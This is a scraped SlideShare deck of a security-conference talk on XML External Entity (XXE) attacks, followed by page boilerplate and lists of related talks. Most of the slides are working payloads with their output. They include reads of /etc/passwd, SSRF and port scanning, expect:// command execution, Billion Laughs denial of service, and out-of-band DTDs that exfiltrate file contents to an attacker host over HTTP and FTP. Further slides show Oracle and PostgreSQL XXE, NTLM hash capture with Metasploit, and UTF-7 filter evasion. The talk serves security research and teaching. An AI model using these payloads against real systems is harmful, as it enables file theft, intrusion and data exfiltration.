SlideShare ist ein Scribd-Unternehmen logo
1 von 63
XXE: How to
become a Jedi
Yaroslav Babin
• @yarbabin
• Web Security Warrior @ Positive Technologies
• BugBounty, CTF @ Antichat (а лучше бы рисечил)
• JBFC
WHOAMI
• Script Kiddie
• Master
• Jedi
Levels
Script Kiddie
<?xml version="1.0"?>
<!DOCTYPE name [<!ELEMENT name ANY>]>
<name>ZeroNights</name>
• RSS, Configs
• SOAP
• SVG, XMP
• XMPP
XML Basics
<?xml version="1.0"?>
<!DOCTYPE name [<!ELEMENT name
ANY>]>
<name>ZeroNights</name>
Prolog
Document Type Definition
Document
XML Basics
<?xml version="1.0"?>
<!DOCTYPE name [<!ELEMENT name
ANY>]>
<name>ZeroNights</name>
Hello, ZeroNights
XML Basics
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol “ZeroNights”>]>
<name>&lol;</name>
Hello, ZeroNights
Document Type Definition: Entity
lol = “ZeroNights”
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]>
<name>&lol;</name>
Hello, root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Document Type Definition: External Entity
lol = readfile(“file:///etc/passwd”)
• DNS/HTTP
• Parser errors
• Very large files
• /dev/urandom
• /dev/zero
How To Check?
<?xml version="1.0"?>
<!DOCTYPE name [<!ENTITY lol SYSTEM “http://dns.sniff/chk”>]>
<name>&lol;</name>
Hello, 123
DNS/HTTP
lol = readfile(“http://dns.sniff/chk”)
$ cat chk
123
1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET
/chk HTTP/1.1" 200 3 "-"
$ cat /var/log/apache2/access.log
<?xml version="1.0"?>
<!DOCTYPE name SYSTEM “http://dns.sniff/chk”>
<name>1</name>
1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET
/chk HTTP/1.1" 200 3 "-"
DNS/HTTP
lol = readfile(“http://dns.sniff/chk”)
$ cat /var/log/apache2/access.log
<?xml version="1.0"?>
<!DOCTYPE name SYSTEM “http://no.resolve/”>
<name>1</name>
JAXBException occurred: Connection Timeout
Parser Errors
Non resolving host
Response
<?xml version="1.0"?>
<!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]>
<name>&lol;</name>
Large Files
lol = readfile(“file:///deb/urandom”)
Pinging 192.168.0.1 with 32 bytes of data:
Request time out.
C:>ping 192.168.0.1
¯_(ツ)_/¯
Master
• Arbitrary file reading
• Sometimes directory listing
• SSRF
• Port scanning
• SMB
• Wrappers
• DOS
• Billion Laughs Attack
• Large file
Attack vectors
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]>
<name>&lol;</name>
Arbitrary File Reading
Hello, root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lol = readfile(“file:///etc/passwd”)
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///”>]>
<name>&lol;</name>
Directory Listing (Java)
Hello, bin
boot
dev
etc
lol = readfile(“file:///”)
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY lol SYSTEM “ftp://localhost/1.txt”> ]>
<name>&lol;</name>
Directory Listing (Java)
Hello, file_content
• https://
• ftps://
• gopher://
• etc
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “http://localhost:81”>]>
<name>&lol;</name>
Port Scanning
Hello, INTERNAL WEB SERVER
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “smb_shareC$1.txt”>]>
<name>&lol;</name>
Windows Share
Hello, file_content
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY lol SYSTEM “php://filter/convert.base64-
encode/resource=/etc/passwd”> ]>
<name>&lol;</name>
Wrappers
Hello,
cm9vdDp4OjA6MDpyb290Oi9yb290Oi
9iaW4vYmFzaApkYWVtb246eDoxOjE6Z
GFlbW9uOi91c3Iv…
• data://
• phar://
• rar://
• etc
<?xml version="1.0"?>
<!DOCTYPE name [
<!ENTITY lol SYSTEM “expect://id”> ]>
<name>&lol;</name>
Wrappers (RCE)
Hello, uid=0(root) gid=0(root) groups=0(root)
By default off
<?xml version="1.0"?>
<!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]>
<name>&lol;</name>
DOS (Large File)
lol = readfile(“file:///deb/urandom”)
Pinging 192.168.0.1 with 32 bytes of data:
Request time out.
C:>ping 192.168.0.1
¯_(ツ)_/¯
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY a0 “lol" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
...
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> ]>
<data>&a10;</data>
DOS (Billion Laughs Attack)
• Direct output
• Output in response
• Error-based
• DTD structure
• XML schema validation
• Out-of-band
• NO output required
• Blind-based
• XSD values bruteforce
Exploitation Techniques
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]>
<name>&lol;</name>
Hello, root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Direct Output
lol = readfile(“file:///etc/passwd”)
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]>
<r>&exfil;</r>
Out-Of-Band
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM
'http://1.3.3.7/?%data;'>">
data = readfile(“/etc/passwd”)
192.168.0.1 - -
[17/Nov/2017:13:37:00
+0300] “GET /?
root:x:0:0:root:/root:/bin
/bash
<?xml version="1.0" ?>
<!DOCTYPE r [ <!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]>
Error Based
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM
'http%data;://1.3.3.7/;'>">
data = readfile(“/etc/passwd”)
• Quotes
• Well-Formed Documents (< > &)
• Privileges
Constraints
• OOXML (DOCX, XLSX, PPTX), ODF, PDF, RSS
• SVG, XMP
• WebDAV, XMLRPC, SOAP, XMPP, SAML
• Databases
• etc
XML
4ML ARMLL BiblioML CIDX eBIS-XML HTTP-DRP MatML ODRL PrintTalk SHOE UML XML F AML ARMLL BCXML xCIL ECML HumanML
MathML OeBPS ProductionML SIF UBL XML Key AML ASMLL BEEP CLT eCo HyTime MBAM OFX PSL SMML UCLP XMLife AML ASMLL
BGML CNRP EcoKnow IML MISML OIL PSI SMBXML UDDI XML MP AML ASTM BHTML ComicsML edaXML ICML MCF OIM QML SMDL
UDEF XML News AML ATMLL BIBLIOML Covad xLink EMSA IDE MDDL OLifE QAML SDML UIML XML RPC AML ATMLL BIOML CPL eosML
IDML MDSI-XML OML QuickData SMIL ULF XML Schema ABML ATMLL BIPS CP eXchangeESML IDWG Metarule ONIX DTD RBAC SOAP
UMLS XML Sign ABML ATMLL BizCodes CSS ETD-ML IEEE DTD MFDX OOPML RDDl SODL UPnP XML Query ACML AWMLL BLM XML
CVML FieldML IFX MIX OPML RDF SOX URI/URL XML P7C ACML AXMLL BPML CWMI FINML IMPP MMLL OpenMath RDL SPML UXF
XML TP ACAP AXMLL BRML CycML FITS IMS Global MML Office XML RecipeML SpeechML VML XMLVoc ACS X12 AXMLL BSML DML
FIXML InTML MML OPML RELAX SSML vCalendar XML XCI ADML AXMLL CML DAML FLBC IOTP MML OPX RELAX NG STML vCard XAML
AECM BMLL xCML DaliML FLOWML IRML MoDL OSD REXML STEP VCML XACML AFML BMLL CaXML DaqXML FPML IXML MOS OTA
REPML STEPML VHG XBL AGML BMLL CaseXML DAS FSML IXRetail MPML PML ResumeXML SVG VIML XSBEL AHML BMLL xCBL DASL
GML JabberXML MPXML PML RETML SWAP VISA XML XBN AIML BMLL CBML DCMI GML JDF MRML PML RFML SWMS VMML XBRL
AIML BMLL CDA DOI GML JDox MSAML PML RightsLang SyncML VocML XCFF AIF BannerrMLLCDF DeltaV GXML JECMM MTML PML
RIXML TML VoiceXML XCES AL3 BCXMLL CDISC DIG35 GAME JLife MTML PML RoadmOPS TML VRML Xchart ANML BEEP CELLML DLML
GBXML JSML MusicXML PML RosettaNet PIPTML WAP Xdelta ANNOTEABGMLL ChessGML DMML GDML JSML NAML PML RSS TalkML
WDDX XDF ANATML BHTMLL ChordML DocBook GEML JScoreML xNAL P3P RuleML TaxML WebML XForms APML
BIIBLLIIOMLLChordQL DocScope GEDML KBML NAA Ads PDML SML TDL WebDAV XGF APPML BIIOMLL CIM DoD XML GEN LACITO
Navy DTD PDX SML TDML WellML XGL AQL BIIPS CIML DPRL GeoLang LandXML NewsML PEF XML SML TEI WeldingXMXLGMML APPEL
BiizzCodess CIDS DRI GIML LEDES NML PetroML SML ThML Wf-XML XHTML ARML BLLM XMLL CIDX DSML GXD LegalXML NISO DTB
PGML SAML TIM WIDL XIOP ARML BPMLL xCIL DSD GXL Life Data NITF PhysicsML SABLE TIM WITSML XLF ASML BRMLL CLT DXS Hy
XM LitML NLMXML PICS SAE J2008 TMML WorldOS XLIFF ASML BSMLL CNRP EML HITIS LMML NVML PMML SBML TMX WSML XLink
ASTM BBCXXMLL ComicsML EML HR-XML LogML OAGIS PNML Schemtron TP WSIA XMI ARML BBEEEEPP CIM DLML HRMML LogML
OBI PNML SDML TPAML XML XMSG ARML BBGMLL CIML EAD HTML LTSC XML OCF PNG SearchDM-XMLTREX XML CourtXMTP ASML
BBHTTMLL CIDS ebXML HTTPL MAML ODF PrintML SGML TxLife XML EDI XNS
XML
• zip://your_doc.docx:
• docProps/
• word/
• _rels/
• [Content_Types].xml
OOXML (Microsoft Office)
• zip://your_odt.odt:
• META-INF/
• content.xml
• meta.xml
• mimetype
• settings.xml
• styles.xml
OpenOffice
Adobe’s Extensible Metadata Platform (XMP) is a file labeling
technology that lets you embed metadata into files themselves during
the content creation process.
Adobe XMP
V for Vendetta, X for XML
<?xpacket begin="?" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core
5.4-c002 1.000000, 0000/00/00-00:00:00">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
</rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>
Adobe XMP
> select xmlparse(document '<?xml version="1.0"
standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM
"/etc/passwd">]><content>&abc;</content>');
ERROR: invalid XML document
DETAILS: /etc/passwd:28: parser error : StartTag: invalid element name
root:x:0:0:root:/root:/bin/bash
XML Parsers In Databases (PostgreSQL)
> select extractvalue(xmltype('<?xml
version="1.0" encoding="
UTF-8"?><!DOCTYPE root [ <!ENTITY
% remote SYSTEM "
ftp://'||user||':bar@IP/test">
%remote; %param1;]>'),'/l') from
dual;
XML Parsers In Databases (Oracle, CVE-2014-6577)
> USER SYSTEM
331 Password required for system
PASS ***
$ ruby ftp.rb
POST /api HTTP/1.1
Host: api.host
Content-Type: application/json
{“name”:”ZeroNights”}
JSON Parser
Hello, ZeroNights
POST /api HTTP/1.1
Host: api.host
Content-Type: application/xml
<name>ZeroNights</name>
JSON Parser
Hello, ZeroNights
Jedi
msf > use auxillary/server/capture/http_ntlm
[*] Local IP: http://1.3.3.7/capture
[*] Server started.
Pass The Hash
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol SYSTEM “http://1.3.3.7/capture”>]>
<name>&lol;</name>
Pass The Hash
Pass The Hash
• No direct output, no errors
• DNS request works
• HTTP via 80 port not working
• It's not exploitable
Firewall
• No direct output, no errors
• DNS request works
• HTTP via 80 port not working
• It's not exploitable
• Try to use another port
Firewall
f*ck off (:
<?xml version="1.0“ encoding=“UTF-8” standalone=“no”?>
Prolog: Optional Attributes
• When yes: ignore declarations (only validation)
• By default: no
<?xml version="1.0“ encoding=“UTF-8” standalone=“no”?>
Prolog: Optional Attributes And Encodings
• UTF-16LE, UTF-16BE
• UTF-7
• etc
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE x +AFsAPAAh-ENTITY
z SYSTEM +ACI-
/etc/passwd+ACIAPgBdAD4APA-
x+AD4AJg-z+ADsAPA-/x+AD4
<?xml version="1.0"?>
<!DOCTYPE name [ <!ENTITY lol PUBLIC “lol” “file:///etc/passwd”>]>
<name>&lol;</name>
Hello, root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
PUBLIC “same” the SYSTEM
lol = readfile(“file:///etc/passwd”)
Any text
• <tag xsi:schemaLocation=“…”/>
• <tag xsi:noNamespaceSchemaLoca8on=“…”/>
• <xs:include schemaLocation=“…”>
• <xs:import schemaLocation=“…”>
• <?xml-stylesheet href=“…”?>
Other Parsers
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote
SYSTEM "http://1.3.3.7/a.xml">
%remote; %intern; %trick; ]>
Java Problems (<1.7)
<!ENTITY % payl SYSTEM "/">
<!ENTITY % intern "<!ENTITY
&#37; trick SYSTEM
'http://1.3.3.7/?%payl;'>">
1.3.3.7 - - [17/Nov/2017:13:37:00
+0300] “GET
/?bin%0Aboot%0Adev%0Aetc…
$ cat /var/log/apache2/access.log
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote
SYSTEM "http://1.3.3.7/a.xml">
%remote; %intern; %trick; ]>
Java Problems (>=1.7)
<!ENTITY % payl SYSTEM "/">
<!ENTITY % intern "<!ENTITY
&#37; trick SYSTEM
'http://1.3.3.7/?%payl;'>">
java.net.MalformedURLException:
Illegal character in URL
Response
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote
SYSTEM "http://1.3.3.7/a.xml">
%remote; %intern; %trick; ]>
Java Problems (From 1.7 To 1.8.131)
<!ENTITY % payl SYSTEM "/">
<!ENTITY % intern "<!ENTITY
&#37; trick SYSTEM
‘ftp://1.3.3.7/%payl;'>">
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD bin
…
$ ruby ftp.rb
• Java
• Xerces, Crimson, Piccolo
• PHP
• SimpleXML, XMLReader, DOMDocument (LibXML)
• Perl
• Twig, LibXml
• .NET
• XmlReader, XmlDocument
• Python
• Etree, xml.sax, pulldom, lxml
• Ruby
• REXML, Nokogiri
Parsers
• XXE, Burp Suite plugin
• XXE Internet Explorer
• XXE Yandex
• XXE JSON
Examples
XXE Yandex
XXE Yandex
JSON2XML
JSON2XML
JSON2XML
• https://github.com/BuffaloWill/oxml_xxe
• https://github.com/GDSSecurity/xxe-recursive-download
Tools
• @a66at
• @mohemiv
• @okiok
• https://phonexicum.github.io/infosec/xxe.html
• http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html
• http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
• https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
• https://www.sans.org/reading-room/whitepapers/application/hands-on-xml-external-entity-
vulnerability-training-module-34397
• http://www.slideshare.net/d0znpp/onsec-phdays-2012-xxe-incapsulated-report
• https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/
References & Thx
Questions?
@yarbabin
ybabin@ptsecurity.com

Weitere ähnliche Inhalte

Was ist angesagt?

OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesChristopher Frohoff
 
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...joaomatosf_
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityMikhail Egorov
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?Mikhail Egorov
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking themMikhail Egorov
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesMikhail Egorov
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesFrans Rosén
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016bugcrowd
 
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigFrans Rosén
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsMikhail Egorov
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Sagar M Parmar
 
Defending against Java Deserialization Vulnerabilities
 Defending against Java Deserialization Vulnerabilities Defending against Java Deserialization Vulnerabilities
Defending against Java Deserialization VulnerabilitiesLuca Carettoni
 
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappsMikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappshacktivity
 
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Christian Schneider
 
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...CODE BLUE
 
Time based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webserviceTime based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webserviceFrans Rosén
 
The Game of Bug Bounty Hunting - Money, Drama, Action and Fame
The Game of Bug Bounty Hunting - Money, Drama, Action and FameThe Game of Bug Bounty Hunting - Money, Drama, Action and Fame
The Game of Bug Bounty Hunting - Money, Drama, Action and FameAbhinav Mishra
 
Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksRaghav Bisht
 

Was ist angesagt? (20)

OWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling PicklesOWASP AppSecCali 2015 - Marshalling Pickles
OWASP AppSecCali 2015 - Marshalling Pickles
 
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
An Overview of Deserialization Vulnerabilities in the Java Virtual Machine (J...
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17
 
Defending against Java Deserialization Vulnerabilities
 Defending against Java Deserialization Vulnerabilities Defending against Java Deserialization Vulnerabilities
Defending against Java Deserialization Vulnerabilities
 
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappsMikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
 
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
Surviving the Java Deserialization Apocalypse // OWASP AppSecEU 2016
 
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! ...
 
Time based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webserviceTime based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webservice
 
The Game of Bug Bounty Hunting - Money, Drama, Action and Fame
The Game of Bug Bounty Hunting - Money, Drama, Action and FameThe Game of Bug Bounty Hunting - Money, Drama, Action and Fame
The Game of Bug Bounty Hunting - Money, Drama, Action and Fame
 
Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion Attacks
 

Andere mochten auch

Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentTeymur Kheirkhabarov
 
(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataillefelixaime
 
Crafting tailored wordlists with Wordsmith
Crafting tailored wordlists with WordsmithCrafting tailored wordlists with Wordsmith
Crafting tailored wordlists with WordsmithSanjiv Kawa
 
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithThe world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithSanjiv Kawa
 
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithThe world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithSanjiv Kawa
 
Unsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIUnsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIMikhail Egorov
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
Kavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalKavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalPacSecJP
 
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017Carol Smith
 

Andere mochten auch (10)

Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 
(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille(2012) Le cyberespace, nouveau champ de bataille
(2012) Le cyberespace, nouveau champ de bataille
 
Crafting tailored wordlists with Wordsmith
Crafting tailored wordlists with WordsmithCrafting tailored wordlists with Wordsmith
Crafting tailored wordlists with Wordsmith
 
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithThe world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
 
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmithThe world is y0ur$: Geolocation-based wordlist generation with wordsmith
The world is y0ur$: Geolocation-based wordlist generation with wordsmith
 
Unsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST APIUnsafe JAX-RS: Breaking REST API
Unsafe JAX-RS: Breaking REST API
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Kavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-finalKavya racharla ndh-naropanth_fin_jp-final
Kavya racharla ndh-naropanth_fin_jp-final
 
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
AI and Machine Learning Demystified by Carol Smith at Midwest UX 2017
 

Ähnlich wie XXE: How to become a Jedi

XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...
XMLDB Building Blocks And Best Practices - Oracle Open World 2008 - Marco Gra...Marco Gralike
 
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...
23 October 2013 - AWS 201 - A Walk through the AWS Cloud: Introduction to Ama...Amazon Web Services
 
XML Tools for Perl
XML Tools for PerlXML Tools for Perl
XML Tools for PerlGeir Aalberg
 
Jsonsaga 100605143125-phpapp02
Jsonsaga 100605143125-phpapp02Jsonsaga 100605143125-phpapp02
Jsonsaga 100605143125-phpapp02Ramamohan Chokkam
 
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office HoursIVS CTO Night And Day 2018 Winter - AWS Startup Tech Office Hours
IVS CTO Night And Day 2018 Winter - AWS Startup Tech Office HoursAmazon Web Services Japan
 
Douglas Crockford Presentation Jsonsaga
Douglas Crockford Presentation JsonsagaDouglas Crockford Presentation Jsonsaga
